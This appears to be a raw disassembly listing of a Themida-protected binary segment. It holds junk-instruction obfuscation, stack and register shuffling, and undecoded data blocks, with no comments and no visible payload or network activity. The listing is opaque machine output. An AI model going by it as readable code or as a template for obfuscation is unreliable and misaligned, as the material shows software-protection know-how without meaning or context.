		jmp	loc_55DB94
; ---------------------------------------------------------------------------
		dd 4C681h, 34870000h, 0F8015C24h, 0E9243C8Bh, 0FFFF5E04h
		dd 0EC81D9F7h, 4, 0BA241489h, 555219CAh, 15D3E9h, 0E9F88900h
		dd 48A7h, 33242C31h, 248B242Ch,	48B6624h, 0E7895724h, 4E95752h
		dd 87FFFFF5h, 535C243Ch, 0BE565B54h, 732A532Eh,	33F5F681h
		dd 0BD5549E5h, 4B5B0675h, 815DEE31h, 736D3ACEh,	0C6814E74h
		dd 0B640978h, 7931BD55h, 0EE31815Bh, 8BF3015Dh,	0EBE92434h
		dd 6800002Bh, 46FC7DC7h, 89EE815Eh, 0C1310F4Ah,	0F68102E6h
		dd 7FDACAC9h, 0FFC246E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E4BD:				; CODE XREF: Themida_:00556B85j
		sub	ecx, 108373DBh
		or	ecx, 1B747837h
		xor	ecx, 86F7E405h
		add	esi, ecx
		pop	ecx
		shr	esi, 1
		xor	esi, 41030ECDh
		sub	eax, esi
		jmp	loc_5634F9
; ---------------------------------------------------------------------------
byte_55E4E1	db 0FFh, 77h, 40h	; DATA XREF: Themida_:0054FC90o
		dd 0FF1A2EE9h, 54565EFFh, 5390E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E4F2:				; CODE XREF: Themida_:0055CA6Dj
		shl	esi, 7
		add	esi, 163D52BCh
		jmp	loc_554788
; ---------------------------------------------------------------------------
		dd 3C8B5457h, 4C48124h,	0E9000000h, 0FFFFDE9Bh
; ---------------------------------------------------------------------------


loc_55E510:				; CODE XREF: Themida_:0055FE9Cj
		add	esp, 4
		or	edx, eax
		jmp	loc_55CB40
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 99E90424h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E523:				; CODE XREF: Themida_:00560679j
		mov	eax, [esp]
		add	esp, 4
		shr	esi, 7
		xor	esi, 0FE737CFBh
		jmp	loc_5635FC
; ---------------------------------------------------------------------------


loc_55E53A:				; CODE XREF: Themida_:005616E3j
		push	eax
		mov	eax, 4B117551h
		and	eax, 6A067696h
		add	eax, 0B5FF8BF4h
		add	ecx, 749C7CC4h
		add	ecx, eax
		sub	ecx, 749C7CC4h
		jmp	loc_56421E
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 30h
		dd 8140E123h, 0C37C3DE9h, 8E9C111h, 13BAF181h, 0D9F74581h
		dd 0D873C181h, 0CB3175AFh, 97BD5559h, 515CF45Ch, 275292B9h
		dd 244C291Ah, 6C01590Ch, 44810824h, 52920824h, 34FF1A27h
		dd 0C4815D24h, 4, 0E9E28952h, 2DC6h, 5BD9015Bh,	304E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E5B5:				; CODE XREF: Themida_:00557B48j
		pop	edx
		shl	bl, 8
		push	ecx
		mov	ecx, esp
		push	0CA3h
		mov	[esp], ebp
		push	edx
		push	5CD630D8h
		jmp	loc_55010B
; ---------------------------------------------------------------------------
		db 54h
		dd 0FF633CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E5D5:				; CODE XREF: Themida_:0055FF77j
		xor	ch, 0DFh
		or	ch, 0F2h
		push	dx
		mov	dl, ch
		inc	dl
		mov	ch, dl
		pop	dx
		shr	ch, 3
		inc	ch
		push	edx
		mov	dh, 5Bh
		sub	ch, 0B2h
		sub	ch, dh
		jmp	loc_559F84
; ---------------------------------------------------------------------------
		db 33h
		dd 51E9242Ch, 5FFFFFFEh, 2DEB815Dh, 123E935h, 2DC381C3h
		dd 0E923E935h, 0FFFF1ECFh, 8B241487h, 0E1F62424h, 0CCB60F66h
		dd 0FFD4D9E9h, 0E9D000FFh, 0FFFFEF03h, 627AF281h, 0D3892EFEh
		dd 0FFD75DE9h, 5F1BDFFh, 0EB011218h, 5F69E95Dh,	0CA290000h
		dd 4C0AEA81h, 1AE97E01h, 81FFFF99h, 4C2h, 45756800h, 14890000h
		dd 1F9EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E666:				; CODE XREF: Themida_:005574C9j
		push	1Dh
		mov	[esp], eax
		jmp	loc_560926
; ---------------------------------------------------------------------------
		db 89h
		dd 4EC81E0h, 89000000h,	0BD552414h, 4, 2C8BEA89h, 9FCAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E68E:				; CODE XREF: Themida_:00553640j
		xor	ebx, 26AE5D9Eh
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55464A
; ---------------------------------------------------------------------------
word_55E69E	dw 8B66h		; DATA XREF: Themida_:0054FDF8o
		dd 0EC812404h, 4, 89240C89h, 4AB850E1h,	2552E86Ch, 9C64BF5h
		dd 38616B25h, 3FC02D1Dh, 0D8F7152Ah, 0E80CEC0Dh, 0F72AE953h
		dd 0C483FFFFh, 0C8B6602h, 0CC56E924h
		db 2 dup(0FFh)
word_55E6DA	dw 8B66h		; DATA XREF: Themida_:0054FCE0o
		dd 5456240Ch, 5302E95Eh, 0CE010000h, 20EE8159h,	5758A441h
		dd 23773CBFh, 5FFE3136h, 4EC81h, 4890000h, 22C8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E706:				; CODE XREF: Themida_:005546E3j
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	esi
		jmp	loc_55A744
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0F4C78104h, 812D3179h, 67C9FCF7h, 5FFD890Fh,	602EC9BAh
		dd 5DEA317Eh, 4765BD55h, 0C58171A9h, 3B1A16C7h,	5003EDC1h
		dd 7F64BA52h, 0E2C120F2h, 9DEA8102h, 89592DEAh,	24148BD0h
		dd 0D04C483h, 7B550A01h, 15511835h, 53D8F736h, 3661FCBBh
		dd 2EBC160h, 1862CB81h,	0EB817083h, 4FEE51D0h, 47D6C381h
		dd 0EB814943h, 40DE4389h, 0F52EEB81h, 0D829195Ch, 5DC9355Bh
		dd 0C5319845h, 9AED8158h, 1AEC400h, 51565DEAh, 76406CB9h
		dd 5DC5686Ch, 295E78E5h, 0F20159CEh, 3ABD555Eh,	0E970D76Eh
		dd 0FFFFAA32h, 3BBFE95Eh, 1BFFFFFh, 0E9000000h,	0FFFF4790h
; ---------------------------------------------------------------------------


loc_55E7E0:				; CODE XREF: Themida_:00551B30j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55549C
; ---------------------------------------------------------------------------


loc_55E7EE:				; CODE XREF: Themida_:00559CF9j
		mov	dl, 8Ah
		and	dl, 66h
		jmp	loc_564B85
; ---------------------------------------------------------------------------
dword_55E7F8	dd 6824048Bh, 1F9Eh, 68240489h,	0D97h, 748468h,	48F5400h
					; DATA XREF: Themida_:0054FE9Co
		dd 5E07E924h, 39B9FFFFh, 31784A50h, 8DE959CAh
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E823:				; CODE XREF: Themida_:00555BC8j
		pop	esp


loc_55E824:				; CODE XREF: Themida_:loc_553AFAj
		push	ebx
		xor	dword ptr [esp], 6F1474BBh
		mov	eax, [esp]
		jmp	loc_55B0F2
; ---------------------------------------------------------------------------
		dd 405h, 4C08300h, 2CADE9h, 0EFE95900h,	80FFFF64h, 0B450FEC3h
		dd 37E480BEh, 186DE9h, 3C99BD00h, 0E58139A3h, 60883506h
		dd 0F705EDC1h, 2BC581DDh, 81598B4Ah, 0B70730E5h, 9C5817Bh
		dd 21C81950h, 242C8BEAh, 4C481h, 0EA810000h, 627C58FDh
		dd 0E708EA81h, 0D789BE23h, 0F8BA525Ah, 0E95D3767h, 0FFFFF451h
		dd 66F9F65Ch, 68CCB60Fh, 0B23h,	68240489h, 2EB9h, 24048F54h
		dd 28B2E9h, 1A836800h, 1C890000h, 4C5BE924h
		db 2 dup(0FFh)
word_55E8C6	dw 148Bh		; DATA XREF: Themida_:0054FDC4o
		dd 0E666824h, 2C890000h, 0E9E58924h, 0FFFF75DDh
; ---------------------------------------------------------------------------


loc_55E8D8:				; CODE XREF: Themida_:0055E383j
		add	esp, 4
		push	5367h
		jmp	loc_5570D9
; ---------------------------------------------------------------------------


loc_55E8E8:				; CODE XREF: Themida_:00550890j
		push	4492h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp


loc_55E905:				; CODE XREF: Themida_:0055511Ej
					; Themida_:loc_5558D0j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_556D83
; ---------------------------------------------------------------------------
		dw 2489h
		dd 0D9E5E924h, 0EA81FFFFh, 4, 2474FF52h, 4BB6E904h
		db 2 dup(0FFh)
word_55E92E	dw 1CF7h		; DATA XREF: Themida_:0054FE2Co
		dd 16E99C24h, 56FFFF92h, 0FFB6ECE9h, 4BAFFh, 28E90000h
		dd 29000041h, 6B1305D8h, 8905207Bh, 5307E664h, 56001ABBh
		dd 176A052Ch, 0D80129EDh, 10F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E965:				; CODE XREF: Themida_:0055CB3Bj
		sub	edx, ebx
		pop	ebx
		shr	edx, 5
		push	esi
		mov	esi, 229D17Eh
		jmp	loc_552F99
; ---------------------------------------------------------------------------


loc_55E976:				; CODE XREF: Themida_:0055E35Ej
		and	ecx, 2A849F9h
		xor	ecx, 10907FA2h
		sub	ebp, ecx
		jmp	loc_55E24E
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aZrsZ		db 'ZRéœZ',0
		dw 5B00h
		dd 5C241487h, 5B2434FFh, 8904EC83h, 0D3E9242Ch,	89FFFFC8h
		dd 6650241Ch, 48BF6657h, 3526E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E9B6:				; CODE XREF: Themida_:00557EA0j
		xchg	ecx, [esp]
		mov	esp, [esp]
		imul	cl
		jmp	loc_55F334
; ---------------------------------------------------------------------------


loc_55E9C3:				; CODE XREF: Themida_:0055C9A6j
		push	dword ptr [esp]
		pop	eax
		push	4B93h
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 56C5004Ch
		jmp	loc_565289
; ---------------------------------------------------------------------------


loc_55E9DC:				; CODE XREF: Themida_:00557D84j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_556D63
; ---------------------------------------------------------------------------
		dd 8E15E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E9F2:				; CODE XREF: Themida_:0055EC86j
		mov	ebp, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		push	2AAFh
		mov	[esp], edi
		push	280707BDh
		mov	edi, [esp]
		add	esp, 4
		shr	edi, 3
		shr	edi, 5
		push	ebx
		jmp	loc_5610AF
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 34895C24h,	40E95724h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EA2F:				; CODE XREF: Themida_:0055B7BEj
		pop	esp
		jmp	loc_553DCC
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 0FFAD11E9h, 241431FFh, 5C241433h, 9C2404FEh,	0FF14CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EA4D:				; CODE XREF: Themida_:00563F6Aj
		sub	ebx, ebp
		pop	ebp
		push	ebx
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		push	ecx
		mov	ecx, 70A62CA0h
		jmp	loc_550E85
; ---------------------------------------------------------------------------


loc_55EA63:				; CODE XREF: Themida_:0055F1C8j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 71527FF8h
		xor	eax, ebp
		pop	ebp
		sub	eax, 382C326Dh
		sub	edx, 6F884B2Ch
		sub	edx, 23AF71EAh
		sub	edx, eax
		add	edx, 23AF71EAh
		jmp	loc_558CC9
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 90h
		dd 0F763C61Bh, 27F581D5h, 0E933C025h, 0FFFF9562h, 0E9243C87h
		dd 11C5h, 6B78EF81h, 80E91BDFh,	8B000006h, 54532414h, 4C3815Bh
		dd 51000000h, 4B9h, 59CB0100h, 0E9241C87h, 0FFFFE5C1h
		dd 5D240CFFh, 428CE581h, 0B850293Dh, 9F7C514h, 0E958C501h
		dd 5C07h, 24440159h, 24048B04h,	4C481h,	0E95B0000h, 6977h
		dd 4240483h, 81243C8Bh,	4C4h, 0D5685300h, 8900000Eh, 0D6BA2414h
		dd 4220961Bh, 796BCA81h, 0BD554350h, 2280650h, 1958CD81h
		dd 0ED814F92h, 531C0696h, 2CABC581h, 0E58113B9h, 66AA3508h
		dd 507ED81h, 0EA010002h, 0FFB0A4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EB55:				; CODE XREF: Themida_:00559117j
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		jmp	loc_54FF80
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 29h
		dd 83FFFFEFh, 2C8704C5h, 24248B24h, 68C8BE0Fh, 75Fh, 54241489h
		dd 1267E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EB9E:				; CODE XREF: Themida_:0055D407j
		pop	edx
		push	491h
		mov	[esp], ecx
		jmp	loc_554989
; ---------------------------------------------------------------------------
		dd 62F68158h, 297D880Ah, 34E95EF1h, 89000056h, 405E0h
		dd 0BC680000h, 0E9000019h, 0FFFFBA52h
; ---------------------------------------------------------------------------


loc_55EBCC:				; CODE XREF: Themida_:00561E0Fj
		pop	edi
		add	eax, esi
		add	eax, 25F4466h
		mov	esi, [esp]
		add	esp, 4
		push	6B11h
		jmp	loc_551DE1
; ---------------------------------------------------------------------------
		db 58h
		dd 5968FB01h, 89000036h, 5AE9240Ch, 21FFFFD1h, 0BB535BD8h
		dd 13937EBCh, 7EF9EB81h, 0D8015513h, 58C7015Bh,	0FFACC3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EC11:				; CODE XREF: Themida_:00551201j
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ecx, 6B99603Eh
		add	ecx, ebx
		sub	ecx, 6B99603Eh
		jmp	loc_55E408
; ---------------------------------------------------------------------------
		db 80h
		dd 0CE8888C1h, 66F48859h, 8324148Bh, 0EA8002C4h, 80E2001Bh
		dd 0E9581BC2h, 526h, 8B243C33h,	8B662424h, 89512404h, 0A8BA52E1h
		dd 683F114Bh, 6E88h, 0BE243489h, 52D46C36h, 0FFA15FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EC75:				; CODE XREF: Themida_:00560570j
		mov	eax, 7D20446Fh
		and	ecx, eax
		pop	eax
		add	ecx, 17F2DDF5h
		sub	edi, ecx
		pop	ecx
		jmp	loc_55E9F2
; ---------------------------------------------------------------------------
		db 1
		dd 55F59C8h, 232512EFh,	7697C181h, 0E9811018h, 18715934h
		dd 0FFB025E9h, 885259FFh, 88C2FEC2h, 0CE97E9D0h, 0EA81FFFFh
		dd 0FFFFFFFFh, 0FFA4CDE9h, 81CA01FFh, 0A16F38C2h, 99C2816Ah
		dd 0FF2C701Bh, 0C8B2434h, 710FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ECD6:				; CODE XREF: Themida_:0055B904j
		or	edi, 2ED7E6Ch
		neg	edi
		add	edi, 78E816FFh
		shr	edi, 7
		sub	edi, 1F9F12Ch
		add	eax, edi
		pop	edi
		jmp	loc_55CCD6
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0B850E289h, 3C887E20h, 0FF15B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ED05:				; CODE XREF: Themida_:0055C9C9j
		mov	[esp], esi
		mov	esi, edi
		mov	edx, esi
		pop	esi
		pop	edi
		add	edx, edi
		push	ecx
		push	ebp
		jmp	loc_55B2FD
; ---------------------------------------------------------------------------
		db 81h
		dd 0F6307DC1h, 81F10106h, 0F6307DE9h, 0E9535706h, 0
		dd 78442ABBh, 37F38154h, 834C2C45h, 348904ECh, 380BE24h
		dd 0EE97582h, 83FFFF6Eh, 248904ECh, 20C4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ED52:				; CODE XREF: Themida_:00552C6Cj
		pop	esp
		jmp	loc_55237E
; ---------------------------------------------------------------------------
		dd 0C80001B1h, 2C5A5966h, 52E8282Ah, 0FF3B6CE9h, 56E955FFh
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ED6F:				; CODE XREF: Themida_:00561725j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	5AF0h
		jmp	loc_564AEE
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2404h, 9968240Ch, 8900003Fh, 0B6522404h,	8851538Dh
		dd 0C88850F1h, 2897E9h,	5C296600h, 46E90424h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EDB3:				; CODE XREF: Themida_:005583AAj
		sub	ecx, 182F6C80h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		jmp	loc_554A5B
; ---------------------------------------------------------------------------


loc_55EDC4:				; CODE XREF: Themida_:00554574j
		push	esi
		mov	esi, 46BD4CDCh
		jmp	loc_55BFCA
; ---------------------------------------------------------------------------
		db 81h
		dd 7B23B7EBh, 0E9030126h, 0FFFF19A5h
dword_55EDDC	dd 0E924248Bh, 0FFFF1133h ; DATA XREF: Themida_:0054FCA4o
; ---------------------------------------------------------------------------


loc_55EDE4:				; CODE XREF: Themida_:00552E1Cj
		sub	ebp, edx
		jmp	loc_55F40F
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0D4BD55D0h, 977296Dh, 0BE95DE8h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EDFB:				; CODE XREF: Themida_:00551421j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	eax, 174358E8h
		sub	eax, 1BAE3E1Ch
		add	eax, edi
		push	ebp
		mov	ebp, 1BAE3E1Ch
		add	eax, ebp
		jmp	loc_55F702
; ---------------------------------------------------------------------------
		db 29h,	0FEh, 5Fh
		dd 16D8C681h, 15E958ABh
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EE2F:				; CODE XREF: Themida_:0055FC6Bj
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_55BA98
; ---------------------------------------------------------------------------
		db 1
		dd 5904244Ch, 8B2434FFh, 0C483240Ch, 4C48304h, 4BD55h
		dd 0F1E90000h, 5FFFFFEBh, 2E981h, 0C870000h, 0F6E95C24h
		dd 5FFFF4Bh, 4,	0FFA4CCE9h, 10A1E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EE76:				; CODE XREF: Themida_:0055D37Bj
		add	dword ptr [esp], 74466712h
		pop	eax
		sub	eax, 74466712h
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 5017F8Bh
		jmp	loc_55D38B
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 0BE562404h, 4, 4247401h, 3CC1E9h, 2434FF00h,	0FFC4C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EEB1:				; CODE XREF: Themida_:0055C5E6j
		sub	esi, ebp
		add	esi, 6C1F3EB8h
		pop	ebp
		or	edi, esi
		jmp	loc_5548DE
; ---------------------------------------------------------------------------


loc_55EEC1:				; CODE XREF: Themida_:00560A16j
		and	ecx, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	60FAh
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 30125D30h
		sub	edx, 4C450763h
		sub	edx, 0E3CD55C9h
		push	ebp
		mov	ebp, 51C72630h
		add	edi, ebp
		pop	ebp
		jmp	loc_557BF0
; ---------------------------------------------------------------------------
		dd 0ED12A6B9h, 244C3141h, 240C8B04h, 2DC1E952h
		db 2 dup(0)
word_55EF06	dw 8B66h		; DATA XREF: Themida_:0054FDFCo
		dd 0DD682404h, 89000029h, 0E189240Ch, 4C181h, 0BF570000h
		dd 4F1043B1h, 2C17EF81h, 0D7F71872h, 8103EFC1h,	2C3D08F7h
		dd 5FF92919h, 5C240C87h, 0FFFDB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EF3D:				; CODE XREF: Themida_:00552A0Aj
		shr	ebp, 5
		push	ebx
		mov	ebx, 315A2963h
		add	ebx, 1DBB1946h
		and	ebx, 7CA9446Ah
		not	ebx
		not	ebx
		neg	ebx
		add	ebx, 4C014824h
		jmp	loc_55B127
; ---------------------------------------------------------------------------


loc_55EF63:				; CODE XREF: Themida_:00562DE3j
		push	esp
		pop	ebx
		jmp	loc_558EEE
; ---------------------------------------------------------------------------


loc_55EF6A:				; CODE XREF: Themida_:00564BC8j
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		push	5B5Bh
		mov	[esp], ecx
		mov	cl, bl
		jmp	loc_55B045
; ---------------------------------------------------------------------------
		db 83h
		dd 48F04C4h, 113EE924h,	0E1810000h, 66CF3F4Ch, 0E98149h
		dd 814D306Ch, 1C6EEEE9h, 0E4C18174h, 13B72B3h, 8D9AE9C8h
		dd 1C87FFFFh, 24248B24h, 20B2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EFB9:				; CODE XREF: Themida_:00555598j
		sub	ebx, 28441ECDh
		shr	ebx, 2
		push	edx
		jmp	loc_561DC0
; ---------------------------------------------------------------------------
		dd 0B6525A66h, 0A476E951h, 0EB80FFFFh, 5BD800D2h, 0E9D82859h
		dd 0FFFFCD9Bh
; ---------------------------------------------------------------------------


loc_55EFE0:				; CODE XREF: Themida_:0055FA0Bj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 61A21D2Fh
		xor	ebp, 39452801h
		add	ebp, 0A718CAD6h
		sub	ecx, 4114470Ch
		add	ecx, ebp
		push	edx
		mov	edx, 4E7C2860h
		push	ebp
		mov	ebp, 6D0B3E8Fh
		jmp	loc_556CB2
; ---------------------------------------------------------------------------


loc_55F019:				; CODE XREF: Themida_:0055A946j
		push	edx
		jmp	loc_557119
; ---------------------------------------------------------------------------
		db 1
aSi3		db 'ß[éˆ3',0
		dw 2900h
		dd 2434FFD3h, 8324148Bh, 895704C4h, 4C781E7h, 52000000h
		dd 4BAh, 50BDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F046:				; CODE XREF: Themida_:00564850j
		mov	cl, dh
		pop	edx
		jmp	loc_55544A
; ---------------------------------------------------------------------------
		dw 5558h
		dd 50BE5BDh, 99ED812Ah,	0E929A2D8h, 0FFFFB493h,	5966CB00h
		dd 1AD5E953h, 0CD810000h, 16CB6589h, 41DCB850h,	62E95C3Ch
		dd 83FFFF51h, 2FE904C4h, 8100002Bh, 3D6A40E7h, 9CEF8127h
		dd 97006C44h, 8197D0F7h, 50449BEFh, 3C51E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F09E:				; CODE XREF: Themida_:0055572Ej
		pop	esp
		jmp	loc_564B68
; ---------------------------------------------------------------------------


loc_55F0A4:				; CODE XREF: Themida_:00557484j
		not	esi
		jmp	loc_55AC6C
; ---------------------------------------------------------------------------


loc_55F0AB:				; CODE XREF: Themida_:00558FDCj
		mov	[esp], esi
		push	20216E5Fh
		pop	esi
		push	esi
		xchg	ebp, [esp]
		xchg	ebx, ebp
		jmp	loc_561E5A
; ---------------------------------------------------------------------------
		db 50h
		dd 1A2B72B8h, 2B763516h, 0C601161Ah, 4C68358h, 5C243487h
		dd 0E924048Fh, 0FFFF99ADh
; ---------------------------------------------------------------------------


loc_55F0DC:				; CODE XREF: Themida_:00562F52j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55C4AA
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0A25AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F0F2:				; CODE XREF: Themida_:0055D433j
		add	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 22E64288h
		sub	eax, 14BE27E2h
		jmp	loc_560E2A
; ---------------------------------------------------------------------------
aFhcnsR		db 'fhCNéÐR',0
		dw 8900h
		dd 0E8E9241Ch, 40000049h, 197BE992h, 0D901FFFFh, 73BDE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F12A:				; CODE XREF: Themida_:00557947j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	7235h
		mov	[esp], ebx
		jmp	loc_55B695
; ---------------------------------------------------------------------------
		db 1
		dd 243C8BFDh, 4C481h, 10680000h, 0E900005Dh, 5C4Bh, 0E924248Bh
		dd 0FFFF5855h, 0BEEB815Ah, 0E923CC7Dh, 0FFFF8854h
; ---------------------------------------------------------------------------


loc_55F168:				; CODE XREF: Themida_:005525C3j
		mov	ebp, esi
		jmp	loc_558668
; ---------------------------------------------------------------------------


loc_55F16F:				; CODE XREF: Themida_:00554A50j
		xor	eax, ebp
		jmp	loc_556268
; ---------------------------------------------------------------------------
		dw 8059h
		dd 1F04BEC2h, 1F2CD028h, 0E92434FFh, 0FFFF24EBh, 3DB3E956h
		dd 0C581FFFFh, 0DA9FEB48h, 0E95DE931h, 1661h
; ---------------------------------------------------------------------------


loc_55F19C:				; CODE XREF: Themida_:00561523j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	eax, 14B0126Ah
		sub	edx, 764679EBh
		add	edx, 27A326EDh
		push	eax
		push	293F2907h
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55EA63
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		db '$h"{',0
		align 2
aIH_0		db '‰,$h:,',0
		align 2
		dw 2489h
		dd 24048124h, 4, 4EC835Dh, 0E9240489h, 0FFFF5558h, 4EC81h
		dd 0F8E90000h
		db 35h,	2 dup(0FFh)
off_55F1FF	dd offset dword_591168	; DATA XREF: Themida_:0054FCB4o
		align 4
		dd 4EC8151h, 0E9000000h, 5341h,	815AD501h, 3C7D5FEDh, 81DD0114h
		dd 3C7D5FC5h, 1BED8114h, 8B76D629h, 0C481241Ch,	4, 4EC8157h
		dd 0E9000000h, 0FFFFD89Eh, 4245C31h, 0E9555E5Bh, 0FFFF132Eh
		dd 33242C31h, 575C242Ch, 4BFh, 8BFA0100h, 8953243Ch, 4C381E3h
		dd 81000000h, 4C3h, 241C8700h, 0E924248Bh, 0FFFFA3A1h
; ---------------------------------------------------------------------------


loc_55F274:				; CODE XREF: Themida_:005608EBj
		mov	esi, edx
		pop	edx
		not	esi
		sub	esi, 8EDB512Fh
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_559A83
; ---------------------------------------------------------------------------


loc_55F28F:				; CODE XREF: Themida_:00550184j
		mov	ecx, [esp]
		add	esp, 4
		dec	edi
		add	edi, 66184DB5h
		xor	edi, 8F0AE5E2h
		jmp	loc_561854
; ---------------------------------------------------------------------------
aHN		db ']hšn',0
		align 10h
		dd 0E9243C89h, 0FFFFCC3Ah
; ---------------------------------------------------------------------------


loc_55F2B8:				; CODE XREF: Themida_:0055BC9Dj
		push	dword ptr [esp]
		jmp	loc_551705
; ---------------------------------------------------------------------------
		dd 6F5668h, 243C8900h, 0E9E38953h, 0FFFF5FF6h, 2525ED81h
		dd 0E901CD3Ah, 56242C8Bh, 0FF2E3DE9h, 0AC80BAFFh, 0F201C5ABh
		dd 5AD1215Eh, 0F181E9D1h, 49CF159Ah, 0FF8E74E9h, 87048FFFh
		dd 0FF0C16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F301:				; CODE XREF: Themida_:00554652j
		mov	esi, eax
		pop	eax
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		push	1DA7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_562032
; ---------------------------------------------------------------------------
byte_55F31F	db 66h			; DATA XREF: Themida_:0054FD84o
		dd 8124048Bh, 4ECh, 241C8900h, 0E9E38953h, 1D9Eh
; ---------------------------------------------------------------------------


loc_55F334:				; CODE XREF: Themida_:0055E9BEj
		movzx	cx, ah
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56055B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 241C8704h, 0ADE4E95Ch, 0EC83FFFFh, 6291E904h, 0ED81FFFFh
		dd 65FE7BF7h, 505DEE01h, 0D06AD4B8h, 17473537h,	2D405797h
		dd 66FF78A1h, 0ACE9D0F7h, 8B000031h, 0C483241Ch, 5BCD0504h
		dd 0CBE9578Ah, 89FFFFD8h, 7FBA2414h, 0C1393C5Ah, 0F4E905EAh
		dd 55FFFF37h, 1D72FABDh, 81D5F706h, 0A30EA5E5h,	90F58161h
		dd 0C1245C14h, 0D5F707E5h, 0FF3564E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F3B9:				; CODE XREF: Themida_:0055AD69j
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 5A0D3EC9h
		push	ecx
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
